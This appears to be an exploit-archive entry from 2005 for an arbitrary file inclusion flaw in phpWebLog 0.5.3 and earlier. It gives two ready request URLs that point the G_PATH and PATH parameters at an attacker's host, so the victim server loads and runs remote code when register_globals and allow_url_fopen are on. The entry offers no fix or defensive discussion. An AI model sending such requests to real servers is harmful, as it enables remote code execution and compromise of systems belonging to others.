[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : phpWebLog <= 0.5.3 Arbitrary File Inclusion
# Published : 2005-03-07
# Author : Filip Groszynski
# Previous Title : The Includer CGI <= 1.0 Remote Command Execution
# Next Title : PHP mcNews <= 1.3 (skinfile) Remote File Include Vulnerability 


Example:

 if register_globals=on and allow_url_fopen=on:
   http://[victim]/[dir]/include/init.inc.php?G_PATH=http://[hacker_box]/
   http://[victim]/[dir]/backend/addons/links/index.php?PATH=http://[hacker_box]/

# www.Syue.com [2005-03-07]